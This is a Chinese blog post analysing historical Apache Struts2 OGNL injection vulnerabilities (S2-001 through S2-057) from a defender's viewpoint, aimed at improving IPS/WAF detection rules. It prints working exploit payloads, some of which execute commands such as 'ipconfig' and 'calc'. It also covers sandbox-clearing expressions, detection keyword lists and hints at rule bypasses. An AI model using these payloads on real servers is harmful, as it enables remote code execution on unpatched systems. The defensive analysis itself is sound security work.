欢迎来到【血梦博客】 今天是:2020年08月05日 星期三
站长联系QQ:635948183
当前位置: 网站首页> 渗透测试> 从防护角度看Struts2历史漏洞

从防护角度看Struts2历史漏洞

作者:血梦 日期:2020-03-04 浏览:205分类: 渗透测试 已提交百度收录

一、前言

Struts2漏洞是一个经典的漏洞系列,根源在于Struts2引入了OGNL表达式使得框架具有灵活的动态性。随着整体框架的补丁完善,现在想挖掘新的Struts2漏洞会比以前困难很多,从实际了解的情况来看,大部分用户早就修复了历史的高危漏洞。目前在做渗透测试时,Struts2漏洞主要也是碰碰运气,或者是打到内网之后用来攻击没打补丁的系统会比较有效。

网上的分析文章主要从攻击利用的角度来分析这些Struts2漏洞。作为新华三攻防团队,我们的一部分工作是维护ips产品的规则库,今天回顾一下这个系列的漏洞,给大家分享一些防护者的思路,如果有遗漏或者错误,欢迎各位大佬指正。

二、Struts2历史漏洞

研究Struts2的历史漏洞,一部分原因为了review以前的ips、waf的防护规则。开发规则的时候,我们认为有几个原则:

1、站在攻击者的角度思考;

2、理解漏洞或者攻击工具的原理;

3、定义漏洞或者攻击工具的检测规则时,思考误报、漏报的情况。

如果安全设备不会自动封ip,那么防护规则是有可能被慢慢试出来的。如果规则只考虑了公开的poc规则写得太过严格,是可能被绕过的,所以有了这次review。先来看看Struts2的历史漏洞的原理。

2.1判断网站使用Struts2框架

一般攻击者在攻击之前会判断网站是Struts2编写,主要看有没有链接是.action或者.do结尾的,这是因为配置文件struts.xml指定了action的后缀

<constant name="struts.action.extension" value="action,," />

但是上述这个配置文件解析之后,不带后缀的uri也会被解析称为action的名字。如下:

image.png

如果配置文件中常数extension的值以逗号结尾或者有空值,指明了action可以不带后缀,那么不带后缀的uri也可能是struts2框架搭建的。

17691.png" class="highslide-image" target="_blank" style="box-sizing:border-box;background:0px 0px;color:#069AEF;">image.png如果使用Struts2的rest插件,其默认的struts-plugin.xml指定的请求后缀为xhtml,xml和json

<constant name="struts.action.extension" value="xhtml,,xml,json" />

根据后缀不同,rest插件使用不同的处理流程,如下请求json格式的数据,框架就使用了JsonLibHandler类对输出进行处理。

image.png

xhtml和xml结尾的请求则使用HtmlHandler和XStreamHandler分别处理。所以在测试的时候,不能明确判断网站使用的是否为struts2框架时,特别是碰到后两种情况,都可以拿工具去试试运气。

2.2Struts2执行代码的原理

Struts2的动态性在于ongl表达式的可以获取到运行变量的值,并且有机会执行函数调用。如果可以把恶意的请求参数送到ognl的执行流程中,就会导致任意代码执行漏洞。ognl表达式的执行在Ognl相关的几个类里面,配置好调试环境后,对OgnlUtil类的getvalue或compileAndExecute函数下断点,就根据参数判断poc调用的流程,分析执行的原理了。

2.2.1 S2-045,S2-046

以S2-045为例,查看web工程目录的payload是

content-type: %{(#fuck='multipart/form-data') .(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#req=@org.apache.struts2.ServletActionContext@getRequest()).(#outstr=@org.apache.struts2.ServletActionContext@getResponse().getWriter()).(#outstr.println(#req.getRealPath("/"))).(#outstr.close()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

断点拦截情况

image.png

根据堆栈查看信息


getValue:321, OgnlUtil (com.opensymphony.xwork2.ognl)

getValue:363, OgnlValueStack (com.opensymphony.xwork2.ognl)

.......

evaluate:49, OgnlTextParser (com.opensymphony.xwork2.util)

translateVariables:171, TextParseUtil (com.opensymphony.xwork2.util)

translateVariables:130, TextParseUtil (com.opensymphony.xwork2.util)

translateVariables:52, TextParseUtil (com.opensymphony.xwork2.util)

......

buildErrorMessage:123, JakartaMultiPartRequest (org.apache.struts2.dispatcher.multipart)

parse:105, JakartaMultiPartRequest (org.apache.struts2.dispatcher.multipart)

<init>:84, MultiPartRequestWrapper (org.apache.struts2.dispatcher.multipart)

wrapRequest:841, Dispatcher (org.apache.struts2.dispatcher)

根据堆栈可以定位到漏洞原因,查看到Dispatcher函数,发现如果content-typ字段包含了multipart/form-data字符串,就会把请求封装成MultiPartRequestWrapper,走到了JakartaMultiPartRequest类的流程中

if (content_type != null && content_type.contains("multipart/form-data")) {
     MultiPartRequest mpr = getMultiPartRequest();
     LocaleProvider provider = getContainer().getInstance(LocaleProvider.class);
     request = new MultiPartRequestWrapper(mpr, request, getSaveDir(), provider, disableRequestAttributeValueStackLookup);
 } else {
     request = new StrutsRequestWrapper(request, disableRequestAttributeValueStackLookup);

如果处理出错,就会调用buildErrorMessage函数构造报错信息。

try {
     multi.parse(request, saveDir);
     for (String error : multi.getErrors()) {
         addError(error);
     }
 } catch (IOException e) {
     if (LOG.isWarnEnabled()) {
         LOG.warn(e.getMessage(), e);
     }
     addError(buildErrorMessage(e, new Object[] {e.getMessage()}));
 }

后续调用过程是buildErrorMessage —>LocalizedTextUtil.findText —>TextParseUtil. translateVariables —->OgnlUtil.getValue ,补丁修改是buildErrorMessage不调用LocalizedTextUtil.findText函数,这样报错后提交的输入就到不了ognl模块了。S2-046也是用到045的相同模块,总体来看,045和046是17年上半年出现的漏洞,漏洞用到的是框架本身,限制条件少, 算是比较好用的Struts2漏洞了(虽然成功率也非常低)。可以看到现在网络上大量的自动化扫描器或者蠕虫,都自带045和046,ips设备每天能收到大量此类日志。

2.2.2 S2-001

往前看,比较好用的漏洞中比较有代表性的有S2-001(S2-003,005,008年代比较久远,后来出现了比较好用的新漏洞,所以这些漏洞用的人很少,对应Struts2的版本也很低),001是Struts2框架最刚开始出现的第一个漏洞,跟045的执行过程也比较接近,都是经由TextParseUtil. translateVariables执行OGNL表达式,TextParseUtil是文本处理的功能类。不同的是S2-001是在把jsp生成java类的时候,会对表单提交的参数调用evaluateParams从而调用文本处理类的OGNL求值功能。调用堆栈如下:


translateVariables:72, TextParseUtil (com.opensymphony.xwork2.util)

findValue:303, Component (org.apache.struts2.components)

evaluateParams:680, UIBean (org.apache.struts2.components)

end:450, UIBean (org.apache.struts2.components)

doEndTag:36, ComponentTagSupport (org.apache.struts2.views.jsp)

_jspx_meth_s_005ftextfield_005f0:17, quiz_002dbasic_jsp (org.apache.jsp.validation)

…………….

Payload: %25%7B%23req%3D%40org.apache.struts2.ServletActionContext%40getRequest()%2C%23response%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22).getWriter()%2C%23response.println(%23req.getRealPath('%2F'))%2C%23response.flush()%2C%23response.close()%7D

image.png提交就能触发漏洞

2.2.3 S2-016

接着是S2-016,以及S2-032,S2-033,S2-037,这几个漏洞比较接近,其中S2-016是比较好用的,由于年代太过久远了,现在已经几乎不可能利用成功,但是这个漏洞由于太经典,还是值得看看。

获取路径的Payload是:

redirect:$%7B%23a%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),%23b%3d%23a.getRealPath(%22/%22),%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter().println(%23b),%23matt.getWriter().flush(),%23matt.getWriter().close()%7D

直接在uri后面跟redirect标签

image.png 调用栈:


getValue:255, OgnlUtil (com.opensymphony.xwork2.ognl)

.......

translateVariables:170, TextParseUtil (com.opensymphony.xwork2.util)

.......

execute:161, ServletRedirectResult (org.apache.struts2.dispatcher)

serviceAction:561, Dispatcher (org.apache.struts2.dispatcher)

executeAction:77, ExecuteOperations (org.apache.struts2.dispatcher.ng)

doFilter:93, StrutsExecuteFilter (org.apache.struts2.dispatcher.ng.filter)

internalDoFilter:235, ApplicationFilterChain (org.apache.catalina.core)

代码注释意为, 在Struts2框架下如果mapping能直接获得结果,就调用结果对象的execute函数。

image.pngUri标签中的redirect,对应的是ServletRedirectResult这个结果,构造函数如下,是DefaultActionMapper构造的时候顺带构造好的,

public DefaultActionMapper() {
     prefixTrie = new PrefixTrie() {
         {
             put(METHOD_PREFIX, new ParameterAction() {
                 public void execute(String key, ActionMapping mapping) {
                     if (allowDynamicMethodCalls) {
                         mapping.setMethod(key.substring(
                                 METHOD_PREFIX.length()));
                     }
                 }
             });
 
             put(ACTION_PREFIX, new ParameterAction() {
                 public void execute(String key, ActionMapping mapping) {
                     String name = key.substring(ACTION_PREFIX.length());
                     if (allowDynamicMethodCalls) {
                         int bang = name.indexOf('!');
                         if (bang != -1) {
                             String method = name.substring(bang + 1);
                             mapping.setMethod(method);
                             name = name.substring(0, bang);
                         }
                     }
                     mapping.setName(name);
                 }
             });

而这个ServletRedirectResult结果在解析Uri的时候,就会被设置到mapping对象中,调用栈如下:


execute:214, DefaultActionMapper$2$3 (org.apache.struts2.dispatcher.mapper)

handleSpecialParameters:361, DefaultActionMapper (org.apache.struts2.dispatcher.mapper)

getMapping:317, DefaultActionMapper (org.apache.struts2.dispatcher.mapper)

findActionMapping:161, PrepareOperations (org.apache.struts2.dispatcher.ng)

findActionMapping:147, PrepareOperations (org.apache.struts2.dispatcher.ng)

doFilter:89, StrutsPrepareFilter (org.apache.struts2.dispatcher.ng.filter)

后续ServletRedirectResult的execute函数执行后,经由conditionalParse调用文本处理类TextParseUtil的translateVariables函数进入Ognl的流程,代码得到执行。

2.2.4 S2-032,S2-033,S2-037

S2-032是框架本身漏洞,不过利用有个前提条件,需要开启动态方法执行的配置

<constant name="struts.enable.DynamicMethodInvocation" value="true" />

S2-033和S2-037则是rest插件漏洞,一般来说插件漏洞利用还是比较困难的,因为开发网站的时候不一定会用到这个插件。S2-032的payload如下:

http://localhost:8080/s2032/index.action?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=ipconfig

image.png

跟S2-016一样,也是uri中带特殊标签,其漏洞点也在DefaultActionMapper类的构造函数, struts.mxl文件中配置了DynamicMethodInvocation后,构造mapping的时候会满足if语句,设置method属性为冒号后的OGNL表达式

public DefaultActionMapper() {
     prefixTrie = new PrefixTrie() {
         {
             put(METHOD_PREFIX, new ParameterAction() {
                 public void execute(String key, ActionMapping mapping) {
                     if (allowDynamicMethodCalls) {
                         mapping.setMethod(key.substring(METHOD_PREFIX.length()));
                     }
                 }
             });

在调用完Struts2默认的拦截器后,进入DefaultActionInvocation的调用函数invokeAction,后者直接调用Ognl表达式的执行。

image.pngS2-032和S2-037也是通过这个步骤得到执行的,不同的是这两漏洞是基于rest插件的。rest插件使得struts2框架的请求具备restful风格,参数直接放在uri里面提交,而非问号后面的字符串。如下为正常的请求:

image.png漏洞利用payload为:

http://localhost:8080/s2033/orders/3/%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23wr%3d%23context[%23parameters.obj[0]].getWriter(),%23wr.print(%23parameters.content[0]),%23wr.close(),xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=vulnerable

image.pngpayload将正常的edit方法替换成了ognl代码。rest插件使用的是RestActionMapper来解析uri,生成mapping,在其getMapping函数内,解析uri设置了method变量,

int lastSlashPos = fullName.lastIndexOf(47);
 String id = null; if (lastSlashPos > -1) { int prevSlashPos = fullName.lastIndexOf(47, lastSlashPos - 1); if (prevSlashPos > -1) {
         mapping.setMethod(fullName.substring(lastSlashPos + 1));
         fullName = fullName.substring(0, lastSlashPos);
         lastSlashPos = prevSlashPos;
     }

而后跟032一样,也是通过ognl表达式来调用这个方法的时候,执行了恶意的命令

image.pngS2-037跟S2-032漏洞点一致,是对补丁的绕过,应该是Struts2.3.28.1没有修复好。

image.png

这两个漏洞是16年的,也需要非常好的运气才能利用,毕竟依赖rest插件且年代久远。

2.2.5 S2-052

这个漏洞跟传统的Struts2漏洞不同的是,并不是利用ognl表达式执行的代码,而是使用unmarshal漏洞执行代码。缺点就是也要用到rest插件,并且对jdk版本有要求,要大于等于1.8,使用JDK 1.7测试报错如下

image.png使用JDK 1.8测试能正常执行命令。

image.png由于使用的不是ongl表达式执行的漏洞,防护思路也跟Struts2的常规防护有区别,后续可以跟weblogic系列漏洞合并分析。

2.2.6 S2-057

S2-057的代码执行有2个条件:

1、需要开启alwaysSelectFullNamespace配置为true,一般提取请求中uri的时候,会对比配置文件中的namespace,匹配上了选取最长的一段作为此次请求的namespace。但是如果这个参数设置为true,就不做对比,直接提取action前面的所有字符串作为namespace。

protected void parseNameAndNamespace(String uri, ActionMapping mapping, ConfigurationManager configManager) {
     int lastSlash = uri.lastIndexOf(47);
     String namespace;
     String name;
     if (lastSlash == -1) {
         namespace = "";
         name = uri;
     } else if (lastSlash == 0) {
         namespace = "/";
         name = uri.substring(lastSlash + 1);
     } else if (this.alwaysSelectFullNamespace) {
         namespace = uri.substring(0, lastSlash);
         name = uri.substring(lastSlash + 1);} else {

例如payload使用

GET /s2057/${(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.setExcludedClasses('java.lang.Shutdown')).(#ou.setExcludedPackageNames('sun.reflect.')).(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct.setMemberAccess(#dm)).(#cmd=@java.lang.Runtime@getRuntime().exec('calc'))}/actionChain1

标红的整体ognl攻击表达式会被提取成为namespace。

2、使用了服务器跳转的结果,这里的要求是配置了actionChaining类型的action,在配置action结果的时候,使用redirectAction(ServletActionRedirectResult类),chain(ActionChainResult类),postback(PostbackResult类)作为结果类型。

<package name="actionchaining" extends="struts-default">    <action name="actionChain1" class="org.apache.struts2.showcase.actionchaining.ActionChain1">       <result type="redirectAction">          <param name = "actionName">register2</param>       </result>    </action>    <action name="actionChain2" class="org.apache.struts2.showcase.actionchaining.ActionChain2">       <result type="chain">xxx</result>    </action>    <action name="actionChain3" class="org.apache.struts2.showcase.actionchaining.ActionChain3">       <result type="postback">          <param name = "actionName">register2</param>       </result>    </action> </package>

这样在处理result结果的时候,会把namespace送到ognl引擎执行。例如redirectAction(ServletActionRedirectResult类)的情况,分发器disptacher会根据action的结果,把流程传给ServletActionRedirectResult的execute函数,后者通过setLocation设置302跳转的目的地址到自己的location变量(包含了ognl恶意代码的namespace),

public void execute(ActionInvocation invocation) throws Exception {
     this.actionName = this.conditionalParse(this.actionName, invocation);
     if (this.namespace == null) {
         this.namespace = invocation.getProxy().getNamespace();
     } else {
         this.namespace = this.conditionalParse(this.namespace, invocation);
     }
 
     if (this.method == null) {
         this.method = "";
     } else {
         this.method = this.conditionalParse(this.method, invocation);
     }
 
     String tmpLocation = this.actionMapper.getUriFromActionMapping(new ActionMapping(this.actionName, this.namespace, this.method, (Map)null));
     this.setLocation(tmpLocation);
     super.execute(invocation);
 }

然后调用父类ServletRedirectResult的execute函数  —-> 调用父类StrutsResultSupport的execute函数

public void execute(ActionInvocation invocation) throws Exception {
     this.lastFinalLocation = this.conditionalParse(this.location, invocation);
     this.doExecute(this.lastFinalLocation, invocation);
 } protected String conditionalParse(String param, ActionInvocation invocation) {
     return this.parse && param != null && invocation != null ? TextParseUtil.translateVariables(param, invocation.getStack(), new StrutsResultSupport.EncodingParsedValueEvaluator()) : param;
 }

其中conditionalParse是条件调用TextParseUtil.translateVariables进行ognl的执行流程,这个条件是满足的,参数就是之前设置的location变量,因此代码得到执行。

2.3Struts2沙盒防护和绕过

Struts2的每一轮新的漏洞,既包含了新的Ognl代码执行的点,也包含Struts2的沙盒加强防护的绕过,而每一轮补丁除了修复Ognl的执行点,也再次强化沙盒,补丁主要都是通过struts-default.xml限制了ognl使用到的类和包,以及修改各种bean函数的访问控制符。最新版本Struts2.5.20的Struts-default.xml,限制java.lang.Class, java.lang.ClassLoader,java.lang.ProcessBuilder这几个类访问,导致漏洞利用时无法使用构造函数、进程创建函数、类加载器等方式执行代码,限制com.opensymphony.xwork2.ognl这个包的访问,导致漏洞利用时无法访问和修改_member_access,context等变量。

<constant name="struts.excludedClasses"            value="              java.lang.Object,              java.lang.Runtime,              java.lang.System,              java.lang.Class,              java.lang.ClassLoader,              java.lang.Shutdown,              java.lang.ProcessBuilder,              com.opensymphony.xwork2.ActionContext" /> <!-- this must be valid regex, each '.' in package name must be escaped! --> <!-- it's more flexible but slower than simple string comparison --> <!-- constant name="struts.excludedPackageNamePatterns" value="^java\.lang\..*,^ognl.*,^(?!javax\.servlet\..+)(javax\..+)" / --> <!-- this is simpler version of the above used with string comparison --> <constant name="struts.excludedPackageNames"            value="              ognl.,              javax.,              freemarker.core.,              freemarker.template.,              freemarker.ext.rhino.,              sun.reflect.,              javassist.,              org.objectweb.asm.,              com.opensymphony.xwork2.ognl.,              com.opensymphony.xwork2.security.,              com.opensymphony.xwork2.util." />

调试时,可以对SecurityMemberAccess的isAccessible函数下断点观察ognl的沙盒防护情况。

public boolean isAccessible(Map context, Object target, Member member, String propertyName) {
     LOG.debug("Checking access for [target: {}, member: {}, property: {}]", target, member, propertyName);
     if (this.checkEnumAccess(target, member)) {
         LOG.trace("Allowing access to enum: {}", target);
         return true;
     } else {
         Class targetClass = target.getClass();
         Class memberClass = member.getDeclaringClass();
         if (Modifier.isStatic(member.getModifiers()) && this.allowStaticMethodAccess) {
             LOG.debug("Support for accessing static methods [target: {}, member: {}, property: {}] is deprecated!", target, member, propertyName);
             if (!this.isClassExcluded(member.getDeclaringClass())) {
                 targetClass = member.getDeclaringClass();
             }
         }

三、网络侧Struts2的防护思路

一般的ips、waf规则,可以从两个方向进行检测,一个是检测漏洞发生点,另外一个是检测利用的攻击代码。Struts2有一些老的漏洞,很多是url中或者post表单中提交ognl代码,从漏洞点来看并不是太好做检测,所以一般的检测规则还是检查ognl代码,配合漏洞发生点。结合payload来看,ognl代码的构成,技术性最强的ognl代码是045和057的两个payload,还是从045的payload来看

content-type: %{(#fuck='multipart/form-data') .(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#req=@org.apache.struts2.ServletActionContext@getRequest()).(#outstr=@org.apache.struts2.ServletActionContext@getResponse().getWriter()).(#outstr.println(#req.getRealPath("/"))).(#outstr.close()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

OgnlContext的_memberAccess变量进行了访问控制限制,决定了哪些类,哪些包,哪些方法可以被ognl表达式所使用。045之前的补丁禁止了_memberAccess的访问:

#container=#context['com.opensymphony.xwork2.ActionContext.container'])

payload通过ActionContext对象得到Container:

#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class

然后用Container的getInstance方法获取到ognlUtil实例:


#ognlUtil.getExcludedPackageNames().clear()

#ognlUtil.getExcludedClasses().clear()

通过ognlUtil的公开方法清空禁止访问的类和包,后面则是常规的输出流获取和函数调用。这个ognl的payload比较典型,可以检测的点也比较多。

一般来说,ips或者waf的Struts2规则可以检测沙盒绕过使用的对象和方法,如 _memberaccess,getExcludedPackageNames,getExcludedClasses,DEFAULT_MEMBER_ACCESS都是很好的检测点,防护规则也可以检测函数调用ServletActionContext@getResponse(获取应答对象),java.lang.ProcessBuilder(进程构建,执行命令),java.lang.Runtime(运行时类建,执行命令),java.io.FileOutputStream(文件输出流,写shell),getParameter(获取参数),org.apache.commons.io.IOUtils(IO函数)。不太好的检测点包括com.opensymphony.xwork2.ActionContext.container这种字典的key或者包的全名,毕竟字符串是可以拼接和变形的,这种规则很容易绕过。其他时候规则提取的字符串尽量短一些,避免变形绕过。

测试发现有的waf产品规则只检测DEFAULT_MEMBER_ACCESS和_memberaccess这两个字符串之一,看起来很粗暴,有误报风险,不过检测效果还是不错的, Ognl表达式由于其灵活性,存在一些变形逃逸的,但是S2-016之后的漏洞要绕过沙盒很难避开这两个对象及相关函数调用。绕过可以参考ognl.jjt文件,这个文件定义了ognl表达式的词法和语法结构,ognl的相关解析代码也是基于这个文件生成的,所以一般的绕过也可以基于此文件展开。

四、总结

目前来看Struts2的漏洞相对比较少,利用起来也很难,要找到新的Struts2漏洞也由于沙盒的原因变得比较困难,可能需要更大的脑洞和对java、Struts框架更深的理解。现网流量能看到的大部分自动扫描器基本也是基于S2-045和S2-046的。我们review Struts2的历史漏洞是为了让防护规则做得更好,由于水平有限,欢迎大家指出文中的错误和交流指教。

参考资料:

https://github.com/HatBoy/Struts2-Scan

https://meizjm3i.github.io/2018/08/25/S2-057/

https://xz.aliyun.com/t/2618

https://www.butian.net/School/content/id/423

关灯